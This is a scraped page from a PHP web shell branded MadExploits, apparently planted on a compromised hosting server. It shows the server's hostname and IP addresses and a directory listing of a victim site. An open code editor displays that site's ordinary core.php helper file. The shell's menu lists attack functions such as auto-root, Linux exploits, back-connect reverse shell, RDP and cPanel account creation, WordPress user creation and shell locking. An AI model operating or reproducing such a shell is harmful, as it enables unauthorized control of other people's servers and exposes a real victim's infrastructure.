Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.43
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
contract.tradesense.co.ke /
inc /
helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
mpdf
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
Doc.php
6.3
KB
-rw-r--r--
Docx_reader.php
8.17
KB
-rw-r--r--
Download.php
1.54
KB
-rw-r--r--
Mailer.php
374
B
-rw-r--r--
Resize.php
13.84
KB
-rw-r--r--
actions.php
239
B
-rw-r--r--
core.php
8
KB
-rw-r--r--
excel_reader.php
60.63
KB
-rw-r--r--
html_to_doc.inc.php
5.67
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : core.php
<?php if ( ! defined('BASEDIR')) exit('Acces denied'); /* |------------------------------------------------------------------- | HELPERS CORE |------------------------------------------------------------------- | This file contains all the vital functions for your website | */ //Load module function load_mod($file,$folder=''){ if(is_file(BASEDIR.'helpers/'.$folder.$file.".php")){ include BASEDIR."helpers/".$folder.$file.".php"; }else{ die('Helper <b>'.$file."</b> not found!"); } } //escape if(!function_exists('mysql_real_escape_string')){ function mysql_real_escape_string($inp) { if(is_array($inp)) return array_map(__METHOD__, $inp); if(!empty($inp) && is_string($inp)) { return str_replace(array('\\', "\0", "\n", "\r", "'", '"', "\x1a"), array('\\\\', '\\0', '\\n', '\\r', "\\'", '\\"', '\\Z'), $inp); } return $inp; } } /** * GET base path url * @param string $str * @return mixed|string */ function getBasePath($str='') { if ( isset($_SERVER['HTTP_HOST']) ) { $host = $_SERVER['HTTP_HOST']; } else if ( isset($_SERVER['SERVER_NAME']) ) { $host = $_SERVER['SERVER_NAME']; } else { $host = ''; } if (!$str) { if ($_SERVER['SCRIPT_NAME']) { $currentPath = dirname($_SERVER['SCRIPT_NAME']); } else { $currentPath = dirname($_SERVER['PHP_SELF']); } $currentPath = str_replace("\\","/",$currentPath); if ($currentPath == '/') { $currentPath = ''; } if ($host) { // mPDF 6 if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']) { $currpath = 'https://' . $host . $currentPath .'/'; } else { $currpath = 'http://' . $host . $currentPath .'/'; } } else { $currpath = ''; } return $currpath; } $str = preg_replace('/\?.*/','',$str); if (!preg_match('/(http|https|ftp):\/\/.*\//i',$str)) { $str .= '/'; } $str .= 'xxx'; // in case $str ends in / e.g. http://www.bbc.co.uk/ $basepath = dirname($str) . "/"; // returns e.g. e.g. http://www.google.com/dir1/dir2/dir3/ $basepath = str_replace("\\","/",$basepath); //If on Windows return $basepath; } //Trim off unnecessary text function smart_trim($text, $max_len, $trim_middle = false, $trim_chars = '...') { $text = trim($text); if (strlen($text) < $max_len) { return $text; } elseif ($trim_middle) { $hasSpace = strpos($text, ' '); if (!$hasSpace) { /** * The entire string is one word. Just take a piece of the * beginning and a piece of the end. */ $first_half = substr($text, 0, $max_len / 2); $last_half = substr($text, -($max_len - strlen($first_half))); } else { /** * Get last half first as it makes it more likely for the first * half to be of greater length. This is done because usually the * first half of a string is more recognizable. The last half can * be at most half of the maximum length and is potentially * shorter (only the last word). */ $last_half = substr($text, -($max_len / 2)); $last_half = trim($last_half); $last_space = strrpos($last_half, ' '); if (!($last_space === false)) { $last_half = substr($last_half, $last_space + 1); } $first_half = substr($text, 0, $max_len - strlen($last_half)); $first_half = trim($first_half); if (substr($text, $max_len - strlen($last_half), 1) == ' ') { /** * The first half of the string was chopped at a space. */ $first_space = $max_len - strlen($last_half); } else { $first_space = strrpos($first_half, ' '); } if (!($first_space === false)) { $first_half = substr($text, 0, $first_space); } } return $first_half.$trim_chars.$last_half; } else { $trimmed_text = substr($text, 0, $max_len); $trimmed_text = trim($trimmed_text); if (substr($text, $max_len, 1) == ' ') { /** * The string was chopped at a space. */ $last_space = $max_len; } else { /** * In PHP5, we can use 'offset' here -Mike */ $last_space = strrpos($trimmed_text, ' '); } if (!($last_space === false)) { $trimmed_text = substr($trimmed_text, 0, $last_space); } return remove_trailing_punctuation($trimmed_text).$trim_chars; } } //Smart pagination function remove_trailing_punctuation($text) { return preg_replace("'[^a-zA-Z_0-9]+$'s", '', $text); } function smart_pagination($page,$total,$limit,$url){ global $ext; $lang['back']='Back'; $lang['page']='Page'; $lang['next']='Next'; $adjacents = 2; $total_pages =$total; /* Setup page vars for display. */ if ($page == 0) $page = 1; //if no page var is given, default to 1. $prev = $page - 1; //previous page is page - 1 $next = $page + 1; //next page is page + 1 $lastpage = ceil($total_pages/$limit); //lastpage is = total pages / items per page, rounded up. $lpm1 = $lastpage - 1; //last page minus 1 $username=$ext; /* Now we apply our rules and draw the pagination object. We're actually saving the code to a variable in case we want to draw it more than once. */ $pagination = ""; if($lastpage > 1) { $pagination .= "<div class=\"pagination\">"; //previous button if ($page > 1) $pagination.= "<a href=\"".$url."$prev\">« ".$lang['back']." </a>"; //pages if ($lastpage < 7 + ($adjacents * 2)) //not enough pages to bother breaking it up { for ($counter = 1; $counter <= $lastpage; $counter++) { if ($counter == $page) $pagination.= "<span class=\"current\">$counter</span>"; else $pagination.= "<a href=\"".$url."$counter".$username."\">$counter</a>"; } } elseif($lastpage > 5 + ($adjacents * 2)) //enough pages to hide some { //close to beginning; only hide later pages if($page < 1 + ($adjacents * 2)) { for ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++) { if ($counter == $page) $pagination.= "<span class=\"current\">$counter</span>"; else $pagination.= "<a href=\"".$url."$counter".$username."\">$counter</a>"; } $pagination.= "..."; $pagination.= "<a href=\"".$url."$lpm1".$username."\">$lpm1</a>"; $pagination.= "<a href=\"".$url."$lastpage".$username."\">$lastpage</a>"; } //in middle; hide some front and some back elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2)) { $pagination.= "<a href=\"".$url."1".$username."\">1</a>"; $pagination.= "<a href=\"".$url."2".$username."\">2</a>"; $pagination.= "..."; for ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++) { if ($counter == $page) $pagination.= "<span class=\"current\">$counter</span>"; else $pagination.= "<a href=\"".$url."$counter".$username."\">$counter</a>"; } $pagination.= "..."; $pagination.= "<a href=\"".$url."$lpm1".$username."\">$lpm1</a>"; $pagination.= "<a href=\"".$url."$lastpage".$username."\">$lastpage</a>"; } //close to end; only hide early pages else { $pagination.= "<a href=\"".$url."1".$username."\">1</a>"; $pagination.= "<a href=\"".$url."2".$username."\">2</a>"; $pagination.= "..."; for ($counter = $lastpage - (2 + ($adjacents * 2)); $counter <= $lastpage; $counter++) { if ($counter == $page) $pagination.= "<span class=\"current\">$counter</span>"; else $pagination.= "<a href=\"".$url."$counter".$username."\">$counter</a>"; } } } //next button if ($page < $counter - 1) $pagination.= "<a href=\"".$url."$next\" style='border-right:0px;'> ".$lang['next']." »</a>"; $pagination.= "</div>\n"; } return $pagination; } ?>
Close